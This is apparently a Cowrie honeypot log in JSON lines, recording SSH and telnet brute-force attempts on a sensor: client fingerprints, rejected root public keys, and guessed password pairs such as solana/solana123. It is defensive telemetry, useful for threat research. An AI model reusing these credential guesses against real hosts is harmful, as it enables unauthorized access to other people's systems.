{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:52:41.021073Z","src_ip":"31.41.222.110","session":"043697a8a651","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4c:c1:44:99:b0:d3:83:e1:02:06:b4:d8:ae:4f:55:2d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC22f/OmSBnihhGHcvrcz1WFkchtAnMDNsx/WYbR+EejiJTtt4oVulb2zDp7hMunBy+vIp5lJxWugEb8HG3XlXSq7kbJBXNNXN0avbvIrS4Xe8KuVUgd/WmxucPzCiVo8ZycGfucCVYs6AXh8bLf72QzMsTESR5GxEtAEs3BFQhCcOsD9KlQebO4kilT1Lale7aPPxmm6E0BurGKFVZj2aGRsYvLYBJP09PRnEM8+TG7IuGCVV6GUB03itfcbREJsJ5dt1Cc3gfJ7izK/S9RB/xQ+ugsI4452P5RIdVCcN/vQfiI9qgb88ryTm97biedsgWnJH0fRuPlLmSeWqDAJul","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4c:c1:44:99:b0:d3:83:e1:02:06:b4:d8:ae:4f:55:2d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:52:41.580631Z","src_ip":"31.41.222.110","session":"043697a8a651","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4c:c1:44:99:b0:d3:83:e1:02:06:b4:d8:ae:4f:55:2d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC22f/OmSBnihhGHcvrcz1WFkchtAnMDNsx/WYbR+EejiJTtt4oVulb2zDp7hMunBy+vIp5lJxWugEb8HG3XlXSq7kbJBXNNXN0avbvIrS4Xe8KuVUgd/WmxucPzCiVo8ZycGfucCVYs6AXh8bLf72QzMsTESR5GxEtAEs3BFQhCcOsD9KlQebO4kilT1Lale7aPPxmm6E0BurGKFVZj2aGRsYvLYBJP09PRnEM8+TG7IuGCVV6GUB03itfcbREJsJ5dt1Cc3gfJ7izK/S9RB/xQ+ugsI4452P5RIdVCcN/vQfiI9qgb88ryTm97biedsgWnJH0fRuPlLmSeWqDAJul","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:52:41.584130Z","src_ip":"31.41.222.110","session":"043697a8a651","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e4:34:ad:22:e5:b2:e9:0e:ac:f8:4b:bd:41:c7:90:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClG4sESQdRXT2xoia2unBvJ/HXKezG48iX+qiAiladVqNESBOTMJ6bZmqa7mnwz9+y48Ev8lXDWiI31H23thvqCZIoHJ9b5jYddmdxnDGSPenoM5HHce3c0x2ld7qE4vcjkkBL/LpkozSiANlWf7UogAxPfUpAgU9RbCReucs8pcqBCABaYHl2b1Cg8h1Ei4q/6lQRnB9JPzeegBQppV7rxNci5L1dvHmANaKFwrUk8HpJ0V8fch+gLHw5b2MeMYYm8w2ay5p31LX0tCrX+NBw6Z6JPGk6Ysod3GlirlRDcwh4zS2E1Nsclg4JisgE8cllEOuX9M+9x7fE2RrfKI3B","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e4:34:ad:22:e5:b2:e9:0e:ac:f8:4b:bd:41:c7:90:fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:52:41.700549Z","src_ip":"31.41.222.110","session":"043697a8a651","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e4:34:ad:22:e5:b2:e9:0e:ac:f8:4b:bd:41:c7:90:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClG4sESQdRXT2xoia2unBvJ/HXKezG48iX+qiAiladVqNESBOTMJ6bZmqa7mnwz9+y48Ev8lXDWiI31H23thvqCZIoHJ9b5jYddmdxnDGSPenoM5HHce3c0x2ld7qE4vcjkkBL/LpkozSiANlWf7UogAxPfUpAgU9RbCReucs8pcqBCABaYHl2b1Cg8h1Ei4q/6lQRnB9JPzeegBQppV7rxNci5L1dvHmANaKFwrUk8HpJ0V8fch+gLHw5b2MeMYYm8w2ay5p31LX0tCrX+NBw6Z6JPGk6Ysod3GlirlRDcwh4zS2E1Nsclg4JisgE8cllEOuX9M+9x7fE2RrfKI3B","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:52:41.703844Z","src_ip":"31.41.222.110","session":"043697a8a651","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"02:9d:ba:15:76:eb:77:2d:f3:2f:ac:d8:20:b1:5c:ff","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCsWRG7lDx18HK2bvaumzRiPvpqbuxS6qk+R7SS+xNlvY7HvtkWcpth3vZKWU9X60Lhwqi6qBwrO+seIgXPMl2YRYPoN11SgiMVNmekeJKUXVIxhLbwFimrV1QpUk5VapZL/G72BX5rMWOOMpiUKrlH1Z2Tbt+slX8Fp35Hwt+x6OSdiQrzY/P3dTMCLwRW281KkTnokZXwaKW643yjlP0HbGgH1R2/vhm7zIbdI4Ha+SjN5cfD834G26fj5PH4XT9OCw0ps4xduhPkvWmHgwXPEPmZoGYggergwYA+xRz1Ud9cWwt0mYlMCtq2vOPlhVJkCDc8xk+nHHf/hvF8xu3d","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 02:9d:ba:15:76:eb:77:2d:f3:2f:ac:d8:20:b1:5c:ff","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:52:41.820356Z","src_ip":"31.41.222.110","session":"043697a8a651","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"02:9d:ba:15:76:eb:77:2d:f3:2f:ac:d8:20:b1:5c:ff","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCsWRG7lDx18HK2bvaumzRiPvpqbuxS6qk+R7SS+xNlvY7HvtkWcpth3vZKWU9X60Lhwqi6qBwrO+seIgXPMl2YRYPoN11SgiMVNmekeJKUXVIxhLbwFimrV1QpUk5VapZL/G72BX5rMWOOMpiUKrlH1Z2Tbt+slX8Fp35Hwt+x6OSdiQrzY/P3dTMCLwRW281KkTnokZXwaKW643yjlP0HbGgH1R2/vhm7zIbdI4Ha+SjN5cfD834G26fj5PH4XT9OCw0ps4xduhPkvWmHgwXPEPmZoGYggergwYA+xRz1Ud9cWwt0mYlMCtq2vOPlhVJkCDc8xk+nHHf/hvF8xu3d","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:52:41.823661Z","src_ip":"31.41.222.110","session":"043697a8a651","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1c:40:f6:73:58:a7:5b:47:2e:3d:0a:2e:3d:06:05:32","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDE4XgE39vZegKNRJCFPjVqfXnXUozKeq75xlZSYmqVB2pnKpHozYroWX0slD6RCC746QrShiKYtNFRmWu19NOjLD8lzH+SO1VfTo4Sv+CNtXDp5ixHQh2Bf1m7NNq7O92v2L9wl9GuETzRZ4nkSPjMGs2ZrPwcLt2GY4UZ+43OdTCSun11M5pJlzp4OV49B0FXVXtdx5oqGIYeVWAmopcskDwqwW9G56jjU1cpm2szzCiZN0Fgv10+onqEfSdX33ZOujEp2jvNXzorYUPIC3NYPSkztvHUrRqsLjz6ntTU3eTFjteqsU5zw/Xaump5TAIR7l8JlDjsSMEUjuTDrnob","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1c:40:f6:73:58:a7:5b:47:2e:3d:0a:2e:3d:06:05:32","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:52:41.940789Z","src_ip":"31.41.222.110","session":"043697a8a651","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1c:40:f6:73:58:a7:5b:47:2e:3d:0a:2e:3d:06:05:32","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDE4XgE39vZegKNRJCFPjVqfXnXUozKeq75xlZSYmqVB2pnKpHozYroWX0slD6RCC746QrShiKYtNFRmWu19NOjLD8lzH+SO1VfTo4Sv+CNtXDp5ixHQh2Bf1m7NNq7O92v2L9wl9GuETzRZ4nkSPjMGs2ZrPwcLt2GY4UZ+43OdTCSun11M5pJlzp4OV49B0FXVXtdx5oqGIYeVWAmopcskDwqwW9G56jjU1cpm2szzCiZN0Fgv10+onqEfSdX33ZOujEp2jvNXzorYUPIC3NYPSkztvHUrRqsLjz6ntTU3eTFjteqsU5zw/Xaump5TAIR7l8JlDjsSMEUjuTDrnob","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:52:41.943685Z","src_ip":"31.41.222.110","session":"043697a8a651","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9d:ca:cf:bd:b1:35:6e:9f:13:77:2f:00:53:32:c6:a2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC94CP7IVfONbmnsjBSOQU7ve04QlmRRaE7VX6QEcA78NGRFo+u0zgtVqsYZXcsgzWgX7yf56dHlmk+A4i6iKKqhGN1Lxypv3ZUNt+oVCvfL2pfsXsJSgoMo2BLBGv0WZy+FKYB6LySCiEkLceWqkZaqcK13ABCq3D55Vy1rI5JM6zh7XWhlYUBT+78iN7Zr/JHJViK5l7pWXiNpzERLHu1RzEyvgmQpTTYybHPy8+DLLDFSUtGkz1P1mx2p5fa8kLyvD+dEXjiwOelihIOl6ymiW/cw65v/CZQT1YejNhI6EBzqXy5U8FhUaTe2Dzr8efeNpiLxkydcR16iIenMhVUncisiH3+Q8cxLdwl8yeTLEJgDEcAZ21XYMVK01AkLgaiQ9M8g9pr/vC8qbBN1tx5hf76sr4YE28GAkBEQg4iubGYpAd+HXtR3M4QcP/UWNSUXxtdIVJkudM0UHUm3zh8GFaIEQ7k1tn4Iliwpx3mP/i230kI3gWnU/N5n6RUtstnsnMPgsnOvjJUE5MNjlDMmZichbBZWItrcDeBtBe/Kgo0lxUajkdUTwxdJeHtQFgA1kbMCE+PcS67YuqxdNuyk8DJVoLJQ3HnajVQ8RPfmtI+YOpAgkTgI56dkQufRiO9L3BRP0Je7PCAxUx1jI7VtRTFr34wRZVUkzRrGaB56Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9d:ca:cf:bd:b1:35:6e:9f:13:77:2f:00:53:32:c6:a2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:52:42.064430Z","src_ip":"31.41.222.110","session":"043697a8a651","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9d:ca:cf:bd:b1:35:6e:9f:13:77:2f:00:53:32:c6:a2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC94CP7IVfONbmnsjBSOQU7ve04QlmRRaE7VX6QEcA78NGRFo+u0zgtVqsYZXcsgzWgX7yf56dHlmk+A4i6iKKqhGN1Lxypv3ZUNt+oVCvfL2pfsXsJSgoMo2BLBGv0WZy+FKYB6LySCiEkLceWqkZaqcK13ABCq3D55Vy1rI5JM6zh7XWhlYUBT+78iN7Zr/JHJViK5l7pWXiNpzERLHu1RzEyvgmQpTTYybHPy8+DLLDFSUtGkz1P1mx2p5fa8kLyvD+dEXjiwOelihIOl6ymiW/cw65v/CZQT1YejNhI6EBzqXy5U8FhUaTe2Dzr8efeNpiLxkydcR16iIenMhVUncisiH3+Q8cxLdwl8yeTLEJgDEcAZ21XYMVK01AkLgaiQ9M8g9pr/vC8qbBN1tx5hf76sr4YE28GAkBEQg4iubGYpAd+HXtR3M4QcP/UWNSUXxtdIVJkudM0UHUm3zh8GFaIEQ7k1tn4Iliwpx3mP/i230kI3gWnU/N5n6RUtstnsnMPgsnOvjJUE5MNjlDMmZichbBZWItrcDeBtBe/Kgo0lxUajkdUTwxdJeHtQFgA1kbMCE+PcS67YuqxdNuyk8DJVoLJQ3HnajVQ8RPfmtI+YOpAgkTgI56dkQufRiO9L3BRP0Je7PCAxUx1jI7VtRTFr34wRZVUkzRrGaB56Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:52:42.068094Z","src_ip":"31.41.222.110","session":"043697a8a651","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:52:42.185360Z","src_ip":"31.41.222.110","session":"043697a8a651","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.907099723815918,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:52:51.777124Z","src_ip":"208.92.193.123","session":"da37351d1999","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":38092,"dst_ip":"159.203.135.109","dst_port":22,"session":"1594f64ff7a2","protocol":"ssh","message":"New connection: 80.94.92.186:38092 (159.203.135.109:22) [session: 1594f64ff7a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:52:52.242579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:52:52.508544Z","src_ip":"80.94.92.186","session":"1594f64ff7a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:52:52.511759Z","src_ip":"80.94.92.186","session":"1594f64ff7a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana123","message":"login attempt [solana/solana123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:52:53.702369Z","src_ip":"80.94.92.186","session":"1594f64ff7a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:52:54.991147Z","src_ip":"80.94.92.186","session":"1594f64ff7a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":38510,"dst_ip":"10.17.0.5","dst_port":22,"session":"fba7e4c2f301","protocol":"ssh","message":"New connection: 103.15.226.202:38510 (10.17.0.5:22) [session: fba7e4c2f301]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:53:37.591381Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:53:37.596318Z","src_ip":"103.15.226.202","session":"fba7e4c2f301","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:53:37.848494Z","src_ip":"103.15.226.202","session":"fba7e4c2f301","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nimda123","message":"login attempt [root/nimda123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:53:38.607877Z","src_ip":"103.15.226.202","session":"fba7e4c2f301","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:53:39.858837Z","src_ip":"103.15.226.202","session":"fba7e4c2f301","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.238.136.42","src_port":49562,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd1e4a1c1fdc","protocol":"ssh","message":"New connection: 170.238.136.42:49562 (10.17.0.5:22) [session: fd1e4a1c1fdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:53:57.066849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:53:57.070366Z","src_ip":"170.238.136.42","session":"fd1e4a1c1fdc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:53:57.182432Z","src_ip":"170.238.136.42","session":"fd1e4a1c1fdc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c9:32:da:38:74:3e:d1:7e:06:75:bc:6a:23:80:d4:86","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1OeqbvFBWkjx2U1PH1ZotA29tBV4sVu3aHbMrYscCBeBBVL8kd/5KTE1msiv4+bifJzFRHEnXZzrUnZLHoFrYZQga1VF6nXV7rE5ZFCMi7sS8gZOT8vx6gjjbTD1wkp9Jt/deUyABs4vARE1wmkRX5I2iwtGpN6XLjExuWligGviomy7Nueq3JJkzUn1V3MNO2I5ApVMRdHhLV7eme+SwWnNvUZYIyY1Po8AceXqtlMzU4mrN1z+ir/02dQ9kPkHo8PSlf9LoO/wzyhs+fbDA1JNvHcTMPoYtnaw4mGqz8xui9994Annx6M/2lPDB2dOAqbgFygZGie1KAX0bref1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c9:32:da:38:74:3e:d1:7e:06:75:bc:6a:23:80:d4:86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:53:57.723026Z","src_ip":"170.238.136.42","session":"fd1e4a1c1fdc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c9:32:da:38:74:3e:d1:7e:06:75:bc:6a:23:80:d4:86","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1OeqbvFBWkjx2U1PH1ZotA29tBV4sVu3aHbMrYscCBeBBVL8kd/5KTE1msiv4+bifJzFRHEnXZzrUnZLHoFrYZQga1VF6nXV7rE5ZFCMi7sS8gZOT8vx6gjjbTD1wkp9Jt/deUyABs4vARE1wmkRX5I2iwtGpN6XLjExuWligGviomy7Nueq3JJkzUn1V3MNO2I5ApVMRdHhLV7eme+SwWnNvUZYIyY1Po8AceXqtlMzU4mrN1z+ir/02dQ9kPkHo8PSlf9LoO/wzyhs+fbDA1JNvHcTMPoYtnaw4mGqz8xui9994Annx6M/2lPDB2dOAqbgFygZGie1KAX0bref1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:53:57.727057Z","src_ip":"170.238.136.42","session":"fd1e4a1c1fdc","protocol":"ssh"}
